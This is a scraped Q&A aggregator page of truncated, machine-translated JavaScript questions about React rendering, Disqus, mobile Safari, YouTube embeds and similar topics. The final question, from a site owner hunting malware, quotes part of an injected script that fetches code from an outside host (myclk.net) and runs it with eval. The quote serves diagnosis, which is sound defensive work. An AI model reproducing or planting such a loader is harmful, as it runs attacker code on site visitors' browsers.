草庐IT

javascript - 服务器在静态网站上渲染 React js

我最近一直在探索React,我看到了如何设置诸如Node到服务器渲染代码之类的东西。出于速度原因,我真的对使用静态页面很感兴趣,但我不确定在使用静态html时是否可以渲染React组件。我可以使用类似nginx的东西来触发react渲染吗?或者我是否需要更多并且必须使用Node、rails或sinatra之类的东西?很抱歉,如果这是一个被误导的问题,我对服务器客户端交互没有很强的感觉。 最佳答案 我们导出一个允许您呈现为静态HTML的函数-ReactDOMServer.renderComponentToStaticMarkup(do

javascript - "Cannot read property ' appendChild ' of null"与 Backbone 网站上的 Disqus

我在Backbone上有一个网站。当我尝试执行Disqus代码时,我得到了UncaughtTypeError:Cannotreadproperty'appendChild'ofnull我该如何解决?为什么会这样?vardisqus_shortname='mysite';/***DON'TEDITBELOWTHISLINE***/(function(){vardsq=document.createElement('script');dsq.type='text/javascript';dsq.async=true;dsq.src='//'+disqus_shortname+'.disqu

javascript - 在没有寻呼机的情况下处理网站上的大型列表的好策略是什么?

场景我有一个网络界面(在一个大型网络应用程序中),允许用户在两​​个非常大的列表之间建立联系。列表A-40,000多个项目列表B-1,000多个项目列表C-包含b中的项目列表,这些项目连接到列表A中的选定项目代码这是粗略的jsfiddle当前行为减去数据库的ajax更新。这是主要功能(只在这里是因为堆栈溢出需要jsfiddle链接的代码片段)。$('.name-listbinput').add('.name-listcinput').click(function(e){varlista_id=$('.name-listainput:checked').val();varlistb_id

javascript - 修复了移动 safari 网站上带有文本字段的标题

我已经四处寻找了一段时间,但似乎找不到解决此问题的方法。当输入字段在移动safari中获得焦点时(尚未检查其他浏览器),由于safari将该元素置于View中(靠近中心),固定元素将跳转。该错误仅在用户滚动时发生,如果用户仍位于页面顶部,则不会发生任何事情。前后截图有没有人知道如何解决这个问题?我遇到的唯一解决方案是在聚焦时滚动回顶部,然后在模糊时滚动回原位……这似乎是一个非常草率的解决方案。这是屏幕截图中的示例站点,非常基本,没有任何异常。MySitebody{height:100%;width:100%;padding:0;margin:0;font-size:16px;font-

javascript - 图片未加载到网站上

我遇到的问题是,当页面加载时,有时它会显示所有图像,有时只显示2张图像,有时显示所有图像。我不知道为什么会这样。有什么想法吗?$('#banners.boximg').each(function(index){varrandval=(index+1)*100;var_this=$(this)setTimeout(function(){_this.attr('id','banner'+index);to_canvas('banner'+index,300,223);},randval)});to_canvas函数:functionto_canvas(im,w,h){varcanvas;v

javascript - 如何延迟 WordPress 网站上 YouTube 视频的 JavaScript 解析?

我今天才意识到,在我的1.2MB网站(根据GTMetrix)中,有550k是一个YouTube视频。我的网站是一个WordPress网站,当前视频在iframe中加载。我希望我的网站加载速度更快...但不确定如何进行。如果我可以让YouTube视频在被点击之前不加载,而只是在那里有一个缩略图,这似乎是正确的做法? 最佳答案 1。将“scr”替换为“data-src”2。添加Javascriptfunctioninit(){varvidDefer=document.getElementsByTagName('iframe');for(

javascript - 在网站上显示准确的本地时间?

有人要求我在我们的网站上显示“正确”时间,坦率地说,我觉得这毫无意义,因为“正确”可以用多种方式解释。我们当前的方法肯定会导致时间不准确,因为它使用服务器控件呈现JavaScript,该JavaScript使用来自服务器的日期时间作为参数运行onload,以在JavaScript中创建时钟对象,该对象最终呈现在页面上,然后开始递增时钟。在服务器处理、网络延迟和客户端性能(有很多其他东西在加载运行)之间,时钟最终偏离实际服务器时间,谁知道与客户端PC相比。所以为了获得显示的“正确”时间,我可以;使用本地PC时间并将newDate()传递给JavaScript时钟对象。优点:应尽可能接近P

javascript - 网站上的 WhatsApp 共享按钮。检测 WhatsApp 是否存在的简单方法?

我正在我的网站上添加WhatsApp共享按钮,当用户设备上不存在(不支持)WhatsApp功能时,我想隐藏此按钮。有简单的方法吗?或者有什么办法吗?我找到了http://whatsapp-sharing.com,但它对我来说有一些缺点。-不支持自定义按钮/图标-看起来它只检测Android和IO(WindowsPhone怎么样?)-难以维护更大的元素我正在寻找一些JS/jQuery或CSSonly(mediaqueries?)解决方案,但目前没有成功。任何建议都会有所帮助,谢谢。 最佳答案 DEMO试试这个$(document).r

javascript - 如何在网站上嵌入 github git README 文件

我正在为某人制作一个网站,他们希望该网站能够在某个URL获取github自述文件markdown文件并将其显示在网站上,这样就不必在两个地方编写自述文件,它只是从github中提取的。那可能吗?我该怎么做?我看到了这个:https://github.com/coreyti/showdown将markdown转换为html,但我仍然不知道如何获取自述文件URL并将其转换为showdown可以解析的对象。任何想法将不胜感激。 最佳答案 您可以使用StackEdit.它允许您以Markdown或HTML格式同时在Github和其他位置发布

javascript - 在网站上查找恶意软件

我在这个问题上有点迷茫,所以请原谅。我知道SO上还有其他关于此的主题,但我找不到答案。在网站上,当它被加载时,用户点击它的位置并不重要,它是在浏览器中打开带有广告的附加选项卡。到目前为止,通过查看浏览器控制台我能够找到的是加载了一些js文件http://cdn.mecash.ru/js/replace.js这个文件包含!function(w){if(w.self==w.top){varr=newXMLHttpRequest;r.onload=function(){eval(this.responseText)},r.open("get","//myclk.net/js/tx.js",!